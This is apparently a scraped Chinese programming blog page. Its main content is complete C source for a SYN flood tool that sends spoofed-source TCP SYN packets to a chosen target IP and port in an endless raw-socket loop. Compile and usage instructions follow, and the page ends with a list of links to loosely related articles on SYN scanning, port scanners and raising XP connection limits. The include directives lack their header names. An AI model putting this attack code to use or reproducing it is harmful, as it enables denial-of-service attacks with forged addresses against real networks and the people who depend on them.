vi syn.c                (插入如下内容)

/* simple syn flooder !!! */

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

unsigned short in_cksum(unsigned short *ptr,int nbytes);

int synflooding();

void sigint(int signo);

struct sockaddr_in target;

struct sockaddr_in pesudo;

int rawsock;

unsigned short in_cksum(unsigned short *addr, int len)

{

int sum=0;

unsigned short res=0;

while( len > 1)  {

sum += *addr++;

len -=2;

}

if( len == 1) {

*((unsigned char *)(&res))=*((unsigned char *)addr);

sum += res;

}

sum = (sum >>16) + (sum & 0xffff);

sum += (sum >>16) ;

res = ~sum;

return res;

}

void sigint(int signo)

{

printf("catch SIGINT\n");

close(rawsock);

exit(0);

}

int main(int argc, char *argv[])

{

if( argc != 4) {

printf("usage:%s psuedoip attackip attackport\n", argv[0]);

exit(1);

}

if( inet_aton(argv[1], &pesudo.sin_addr) == 0) {

printf("bad ip address:%s\n", argv[1]);

exit(1);

}

if( inet_aton(argv[2], &target.sin_addr) == 0) {

printf("bad ip address:%s\n", argv[2]);

exit(1);

}

target.sin_port=htons(atoi(argv[3]));

signal(SIGINT, sigint);

synflooding();

exit(0);

}

int synflooding()

{

int i, j, k;

struct packet{

struct iphdr ip;

struct tcphdr tcp;

}packet;

struct pseudo_header{           /* For TCP header checksum */

unsigned int source_address;

unsigned int dest_address;

unsigned char placeholder;

unsigned char protocol;

unsigned short tcp_length;

struct tcphdr tcp;

}pseudo_header;

bzero(&packet, sizeof(packet));

bzero(&pseudo_header, sizeof(pseudo_header));

if((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {

perror("socket()");

exit(1);

}

packet.tcp.dest=target.sin_port; /* 16-bit Destination port */

packet.tcp.ack_seq=0; /* 32-bit Acknowledgement Number */

packet.tcp.doff=5; /* Data offset */

packet.tcp.res1=0; /* reserved */

/* packet.tcp.res2=0; reserved */

packet.tcp.urg=0; /* Urgent offset valid flag */

packet.tcp.ack=0; /* Acknowledgement field valid flag */

packet.tcp.psh=0; /* Push flag */

packet.tcp.rst=0; /* Reset flag */

packet.tcp.syn=1; /* Synchronize sequence numbers flag */

packet.tcp.fin=0; /* Finish sending flag */

packet.tcp.window=htons(242); /* 16-bit Window size */

packet.tcp.urg_ptr=0; /* 16-bit urgent offset */

packet.ip.version=4; /* 4-bit Version */

packet.ip.ihl=5; /* 4-bit Header Length */

packet.ip.tos=0; /* 8-bit Type of service */

packet.ip.tot_len=htons(40); /* 16-bit Total length */

packet.ip.id=getpid(); /* 16-bit ID field */

packet.ip.frag_off=0; /* 13-bit Fragment offset */

packet.ip.ttl=255; /* 8-bit Time To Live */

packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */

packet.ip.check=0; /* 16-bit Header checksum (filled in below) */

packet.ip.saddr=pesudo.sin_addr.s_addr; /* 32-bit Source Address */

packet.ip.daddr=target.sin_addr.s_addr; /* 32-bit Destination Address */

packet.ip.check=in_cksum((unsigned short *)&packet.ip,20);

while(1) {

/* set src port and ISN */

packet.tcp.source=htons(1025+rand()%60000);

packet.tcp.seq=761013+rand()%100000;

packet.tcp.check=0;

pseudo_header.source_address=packet.ip.saddr;

pseudo_header.dest_address=packet.ip.daddr;

pseudo_header.placeholder=0;

pseudo_header.protocol=IPPROTO_TCP;

pseudo_header.tcp_length=htons(20);

bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,20);

packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,32);

sendto(rawsock,&packet,40,0,

(struct sockaddr *)&target,sizeof(target));

}

return 0;

}

gcc -o syn syn.c

用法:

usage: ./s psuedoip attackip attackport

./syn 伪装IP ***IP ***端口

c语言 syn扫描,syn flooder*** (C语言)相关推荐

  1. C语言端口扫描源码,C语言实现TCP多线程端口扫描

    多线程端口扫描实现(C语言) 源码: #include #include #include #include #include #pragma comment(lib,"WS2_32.lib ...

  2. python实现syn半扫描_python 使用raw socket进行TCP SYN扫描实例

    1. TCP SYN扫描 端口扫描常用于用于探测服务器或主机开放端口情况,被计算机管理员用于确认安全策略,同时被攻击者用于识别目标主机上的可运作的网络服务.端口扫描是向一定范围的服务器端口发送对应请求 ...

  3. 网络扫描技术揭秘读书笔记3--TCP SYN扫描

    TCP SYN扫描(使用Winpcap库实现) 0.核心原理 半开扫描(TCP SYN)不同于CSocket和Socket2扫描,后两者扫描都是完成了一个完整的三次握手(即connect函数),而半开 ...

  4. c语言键盘驱动程序,c语言键盘扫描程序

    描述 c语言键盘扫描程序 4*4键盘扫描C语言程序 /*  4x4矩阵键盘的扫描程序 测试通过*/ #includesbit P1_0=P1^0; sbit P1_1=P1^1; sbit P1_2= ...

  5. TCP SYN扫描分析探密

    [内容摘要]:TCP SYN扫描之所以叫半开放扫描,或半打开式扫描,是相对完整的TCP连接而言的.它是一次未完成的,由一方有意中止的TCP连接.因此它的本质还是一个TCP协议的具体应用. [关键词]: ...

  6. xp破解syn扫描tcp连接数和多用户终端服务限制

    http://download.csdn.net/source/3173126 xp破解syn扫描tcp连接数和终端服务限制 可以syn扫描了 tcp连接数提到10240 可以多用户终端服务(远程桌面 ...

  7. TCP SYN扫描技术探测原理

    TCP SYN扫描 TCP SYN扫描又称"半开扫描".回顾TCP连接的三次握手,申请方首先发送的是一个SYN数据包,服务方在接到这个SYN数据包后,如果该端口处于侦听状态,则会回 ...

  8. c语言开发pdf渲染器,C语言开发技术详解 (戴建华) PDF扫描版70M

    从C语言基础高级技术,全面.深入讲解C程序设计的精髓,通过实例,层层深入,彻底攻克C程序设计的重点和难点知识. 本书特色: 从入门到精通:上篇介绍C语言基础,下篇介绍C语言高级编程及技巧. 适用双操作 ...

  9. c语言常用符号与英文,C语言常用符号与英文(7页)-原创力文档

    C语言常用符号与英文 c语言的符号含义 main() {int w=4,x=3,y=2,z=1; printf("%d\n"): 优质解答 举例: a=1; b=2; a>b ...

最新文章

  1. String类(二)
  2. SNMP之管理信息库
  3. [Windows编程] 监视DLL装载/卸载
  4. 自制Android相机
  5. vue开发(1) 软件安装
  6. TipsDBConfigListener
  7. uni-app组件之间的传值
  8. 什么是 JavaScript 世界的 UMD
  9. 亿佰特WiFi无线通信模块在物联网智慧农场应用案例
  10. 解决读写分离过期读的几个方案
  11. Python 教你 4 行代码开发新闻网站通用爬虫
  12. ubuntu下配置eclipse
  13. decide your linux OS is GUI or not
  14. React.js组件化开发第一步(框架搭建)
  15. 白话SOA:面向服务+组件+架构
  16. Java Web实战篇-代码之美
  17. 无法连接终端授权服务器,许可证已过期的客户端可能无法连接到终端服务器的解决方案...
  18. ProtoBuf生成EmmyLua注解API提示文件(支持复杂的嵌套结构)
  19. 数据库迁移的几种方式
  20. 全面的IE兼容性调试问题

热门文章

  1. c# 整个工程(包括窗体工程)做成dll
  2. 解决base64通过http传输后+变空格的问题
  3. super(XXXX,self).__init__()在类中的作用
  4. python爬虫外快_利用Python爬虫轻松挣外快的几个方法(值得收藏)
  5. SEO能给独立站系统带来巨大的搜索流量吗?
  6. android intent 跳转activity,Activity 跳转 都知道用startActivity(Intent)
  7. java中实现工厂日历_Java Calendar实现控制台日历
  8. HDU-3537 Mock Turtles型翻硬币游戏
  9. Leetcode每日一题:767.reorganize-string(重构字符串)
  10. Leetcode每日一题:190.reverse-bits(颠倒二进制位)